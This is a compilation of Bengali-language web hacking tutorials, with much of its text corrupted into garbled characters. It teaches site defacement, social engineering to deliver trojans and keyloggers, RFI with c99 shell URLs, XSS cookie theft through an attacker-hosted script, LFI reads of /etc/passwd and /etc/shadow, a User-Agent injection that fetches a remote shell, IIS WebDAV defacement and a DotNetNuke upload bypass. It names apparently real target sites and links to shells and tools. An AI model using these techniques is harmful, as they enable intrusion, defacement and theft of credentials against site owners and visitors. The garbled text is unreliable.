২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
